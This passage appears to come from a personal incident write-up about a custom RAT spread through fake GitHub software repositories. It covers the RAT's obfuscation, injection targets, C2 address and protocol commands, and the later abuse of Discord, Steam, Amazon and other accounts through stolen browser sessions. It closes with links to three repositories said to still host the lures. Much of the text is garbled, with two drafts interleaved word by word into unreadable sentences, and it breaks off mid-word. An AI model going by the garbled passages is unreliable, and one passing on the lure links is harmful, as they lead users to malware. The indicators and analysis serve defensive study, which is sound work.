    The launch chain itself had explicitly set the payload's working directory to its extraction directory, so the artifact was consistent with the malware execution flow. But this was also a useful reminder not to overinterpret a single artifact: a locked directory told me something was using it, not automatically why.

    That distinction — hypothesis versus evidence — would keep coming up throughout the investigation.

    The Binary Was More Sophisticated Than the Loader

    The rapid static triage initially reinforced my attacker profile: practical RAT functionality, straightforward task execution, plenty of detectable behavior.

    The deeper reverse engineering performed afterward complicated that picture.

    The executable was not simply a badly written commodity stub.

    It was a custom x64 C++ RAT with encrypted strings, dynamic API resolution and significant control-flow obfuscation. Sensitive strings were decrypted on demand into TLS-backed storage. The binary performed anti-VM and anti-sandbox checks, including checks for VMware, VirtualBox, QEMU, Hyper-V and even an explicit "anyrun GPU" indicator. It dynamically resolved sensitive APIs instead of exposing them through a rich import table.

    It also contained code for:

    NtAllocateVirtualMemory
    NtWriteVirtualMemory
    NtCreateThreadEx

    with targets including:

    winlogon
    smartscreen
    explorer.exe

    suggesting a process-injection capability.

    The RAT maintained a mutex:

    Global\RuntimeBrokerAds

    and stored C2 configuration under:

    HKCU\Software\Microsoft\EventSystem

    The latter was configuration persistence rather than an autostart mechanism — an important distinction I had initially missed.

    Later protocol reversing identified its main C2 as a WebSocket service on:

    145.63.134.94:406

    with a secondary HTTP task channel on port 408, plus a dynamic DuckDNS mechanism. Its application protocol included commands such as:

    ready;
    getinfo
    ping
    pong
    task
    createtask
    closetask
    task_id;
    task_done;
    update

    and remote shell execution ultimately fell back to:

    cmd.exe /C <command>

    The WebSocket implementation even reused the RFC example key:

    Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

    which is an unusually strong network detection fingerprint.

    So the eventual picture was more nuanced than my first impression.

    The delivery and operational OPSEC were crude.

    The binary protection and RAT engineering were more competent.

    Those two things are not contradictory. Malware intended for broad consumer compromise does not necessarily need to behave like a Cobalt Strike implant trying to survive CrowdStrike Falcon in a bank.

    I Thought I Was Done

    After checking the obvious autostart surfaces, correlating the scheduled tasks, removing the persistentknown executable,persistence mechanisms and verifying that the knownpersistent executionpayload pathswas wereno gone,longer present, I finallyconsidered relaxed.

    the

    host-level incident contained. I was exhausted and, at that point, reasonably confident that the immediate threat had foundbeen the payload.

    I had found its persistent copy.

    I had found the scheduled tasks.

    They all pointed to the same executable.

    The beacon was gone.

    The machine looked quiet.

    So I went to sleep.removed.

    That wasconfidence did not last very long. When I later checked Discord, I found that my nextprimary mistake.

    account

    Nothad becausebeen signed out. Attempts to authenticate failed. Reviewing the RATassociated wasemail necessarilyaccount stillimmediately there,explained butwhy: becausethere Iwere hadseveral thoughtunread almost entirely in terms of host containment.

    I had asked:

    Is the malware still running?

    I had not spent enough time asking:

    What did the malware steal while it was running?

    That difference is obvious in hindsight.

    It was less obvious at two in the morning while racing to remove an active RATmessages from myDiscord, own machine.

    The Next Morning, Discord Logged Me Out

    The following day I opened Discord on my phone.

    I was logged out.

    That immediately felt wrong.

    The account used an email address I rarely checked, so I opened the mailbox.

    There it was:including a Discord password-reset request, followed by confirmation that the password had been changed.successfully Therechanged, wereand alsoa account-abuseseparate notificationsnotification consistentregarding withactivity that violated Discord's policies. The implication was straightforward. The Discord account had been taken over, and because the accountpassword havingreset had been usedcompleted to distribute spam.

    The attacker had not merely stolen the Discord session.

    They had accessedthrough the associated mailboxmailbox, the email account itself had very likely been accessed as well. Google had also generated a suspicious-activity warning.

    Fortunately, I still retained control of the mailbox. I changed its credentials and consumedsecurity the password-reset workflow.

    Isettings, recovered the Discord account through supportsupport, and changedsubsequently thehardened emailboth password.

    accounts. 

    ButUnfortunately, that was onlynot the beginning.

    end

    Overof the followingaftermath.

    days,
    Account moreAbuse accountsAcross beganMultiple showingServices
    signs

    A series of abuse.additional incidents followed across services that had been used on the compromised workstation:

      Instagram was hijacked but not fully seized. The attacker retained my existing account state and used it to send advertisementsspam messages to friendscontacts. One of the promoted domains was https://marawex.com. Steam was similarly abused without a full account takeover.

      Spam messages were sent through the account, and a previously unknown Steam account named 661SAVAGEE was added to Family Sharing. That account later cheated in ARC Raiders, which resulted in an unfortunate collateral consequence: my account was also affected by the resulting enforcement action. Subsequent investigation suggested that this user was more likely a downstream consumer of stolen access than the original malware operator.

      A second Discord account was usedalso tohijacked spamwithout friendshaving andits channels;password interestingly, the attacker deleted the conversations from the compromised account's side afterward, apparently trying to make the abuse less visible.changed. I caughtnoticed itthis quickly because my two Discord accounts were friendsconnected withto each otherother. Interestingly, the secondoperator accountattempted receivedto remove the messagespam evenconversation thoughfrom the compromised account's side hadafter removedsending itsit. localThe conversation.promoted

      Steamdomain in this case was alsohttps://tetsobet.com.

      usedAmazon was accessed and the actor attempted, unsuccessfully, to messagetake friends.full

      That incident later produced onecontrol of the strongestaccount. piecesThey ofwere evidencenevertheless forable browser-sessionto theft.place Steamfraudulent identifiedorders. A smaller gift-card purchase succeeded, while a subsequent higher-value attempt was blocked by Amazon's fraud controls. More interestingly, the abusedactor sessionalso as:

      ordered
      Webproducts browsersimilar to "Chrome on Windows"


      and showed that the device had originally been authorized on August 3, using my password and a Steam Guard code — well before the malware infection.

      The later malicious activity therefore inherited an authentication context thatitems I had legitimately establishedpurchased before, which appeared to be an attempt to make the transaction sequence resemble my normal purchasing behavior.

      Cursor accumulated approximately USD 70 in unauthorized usage. Codex consumed a portion of my weekly usage allowance. Claude may also have been exposed. Anthropic detected suspicious activity and invalidated the session before compromise.I observed any obvious material impact.

      ThatThe isbehavior muchdiffered considerably between services. Some operators simply used an existing session to send spam. Others attempted financial fraud, consumed paid AI resources, or abused gaming access. Some avoided changing passwords entirely, while others attempted to seize the account outright. This variation became an important clue. Rather than looking like one operator manually moving through every account with a single objective, the pattern was more consistent with stolen browsercredentials, session materialmaterial, thanor other authentication artifacts being distributed or otherwise consumed by different downstream actors within a broader cybercrime ecosystem. In practical terms, the initial malware execution may have been only the collection stage. The subsequent fraud, spam, account abuse, and other activity represented different ways of monetizing the resulting access.

       

      Was the Machine Still Compromised?

      The continuing account incidents raised an uncomfortable question: had I actually removed the malware completely? I repeatedly revisited the host, checking whether I had missed another executable, persistence mechanism, injected component, or secondary payload. The fact that new account abuse continued after the known RAT had been removed naturally made incomplete remediation an obvious hypothesis.

      However, as more evidence accumulated, a different explanation became considerably stronger. The affected accounts shared several characteristics. Most importantly, they were accounts for which authenticated state already existed on the compromised workstation. In many cases, visiting the corresponding website from my browser did not require a fresh login. The browser already possessed a valid session, trusted-device state, token, or other authentication material. By contrast, accounts whose sessions had already expired, or which required fresh authentication protected by stronger MFA controls, were not affected in the same way.

      I also found suspicious authenticated sessions associated with another attackergeographic simplyregions loggingon inservices againsuch usingas myChatGPT password.

      and

      OtherSteam, effectsdespite followed.

      both

      Cursoraccounts accumulatedbeing roughlyprotected $70by MFA. That observation was particularly important: MFA protects the process of unauthorizedcreating usagea chargesnew acrossauthenticated twosession, days.

      but

      Myit Amazondoes accountnot wasnecessarily accessed.protect an already authenticated session if the corresponding token or cookie is stolen and remains valid. Steam provided an especially useful example. The suspicious web session belonged to an authorization context that had originally been established legitimately before the malware incident. The attacker successfully bought a $25 gift card, then attempted a $100 gift card that Amazon's fraud controls rejected. They also ordered two products that closely resembled things I had bought before — vitamins and cat food — potentially as behavioral cover around the fraudulent transaction. The successful gift card was sent to a disposable email address.

      At this point, the common denominator was becoming difficult to ignore.

      These were very different services:

      Google
      Discord
      Instagram
      Steam
      Amazon
      Cursor

      Theytherefore did not necessarily shareneed passwords.to know my password or defeat Steam Guard; reusing previously authorized browser state was sufficient.

      WhatThere theywere didalso shareapplication-specific wasauthentication artifacts to consider. Some tools store reusable credentials or bearer tokens at relatively predictable filesystem locations. Codex authentication material, for example, is stored locally in a browser.

      way

      Thethat Realan Incidentinformation Wasstealer Biggercan Thanlocate without needing to understand much about the RAT

      individual victim.

      Taken together, the evidence pointed toward a much more likely explanation:

      The hostcontinued compromiseaccount had lasted a relatively short time.

      The identity compromise lasted much longer.

      Thatabuse was primarily the lessonaftermath Iof hadauthentication initiallymaterial missed.

      The RAT did not need to remain resident for a week. If it had harvested authenticated browser statestolen during the original infection,compromise, rather than evidence that the attackerRAT itself was still persistently controlling the machine.

      The stolen material could continuehave consumingincluded thosebrowser sessionscookies, daysauthenticated aftersession state, application tokens, locally stored credentials, and other reusable authentication artifacts. This distinction turned out to be one of the hostmost itselfimportant lessons from the incident.

       

      Removing the Malware Was Not the Same as Remediating the Incident

      My initial response had been cleaned.heavily host-centric. I had concentrated on questions such as:

        Is the payload still running? Where did it establish persistence? What launches it after reboot? Are there additional copies? Is the C2 connection still active?

        Those were valid questions, and the host-level remediation itself was largely successful. What I had not considered early enough was the second half of the problem:

          What had already been stolen before the malware was removed? Which authentication artifacts were still valid? Which sessions needed to be revoked? Which services should be treated as independently compromised?

          That is where my lack of full-time incident-response experience became more apparent. From a red-team perspective, I was naturally focused on persistence and continued execution. Once the attacker's foothold disappeared, the machine looked "clean." From an incident-response perspective, however, a compromised host is only one part of the incident. If credentials, cookies, tokens, or other authentication material have already left the endpoint, removing the executable does nothing to invalidate those copies.

          The evidencemore increasinglyaccurate supported exactly that model.

          The compromisemodel was therefore better represented as:therefore:

          Malicious GitHub lurerepository
                  ↓
          PowerShell stagingdelivery chain
          custom
          RAT execution
                  ↓
          browserLocal authentication material harvestedcollectedhostHost persistence removed
                  ↓
          stolenStolen sessionsauthentication remainmaterial usableremains remotelyvalidaccountDifferent abuseservices continuesabused forin dayssuccession

          Once

          I

          shifted
          from
          treating

          Ineach otheraccount words:

          event
          as

          Hostan containmentisolated andcompromise identityto containmenttreating werethem twoas differentdownstream incidentsconsequences running on two different timelines.

          And this wasof the pointsame whereinitial mycollection improvisedevent, rolethe asoverall a blue teamerpicture became much more uncomfortable.coherent. By cross-referencing session history, authentication behavior, local artifacts, platform notifications, and the characteristics shared by the affected accounts, I was eventually able to identify and remediate the remaining exposure.

          IThe operators still caused a considerable amount of disruption. But by that point, the incident had beenalso relativelyproduced effectivesomething atuseful: huntinga reasonably complete view of how the malware becausewas I understooddelivered, how attackersit think.

          persisted,

          Butwhat Iit hadstole, initiallyand treatedhow the endstolen ofaccess malwarewas executionsubsequently asmonetized. That became the endstarting ofpoint the incident.

          A dedicated incident responder would have been much quicker to assume credential and session compromise, revoke authentication state centrally, preserve more telemetry before killing processes, and work outward from the identity control plane rather than playing account-by-account whack-a-mole.

          That gap was humbling.

          It was also exactly why the incident became so valuable.

          Becausefor the next phase wasof nothe longerinvestigation: aboutmoving findingfrom malwareincident onresponse ainto Windowsthreat machine.intelligence.

          It was about figuring out what had been stolen, how the attackers were consuming it, and who was behind the infrastructure that delivered it.

          And that is where the incident gradually turned into a threat-intelligence investigati

          Alive Repositories At the Time of Writing:

          https://github.com/Binaryunenhance/instagram-liker-bot-auto-like-software-download

          https://github.com/dev-Warrior65621/Adobe-Acrobat-Pro

          https://github.com/mad-Plasma-Mind9/crypto-miner-gpu-cpu-hashrate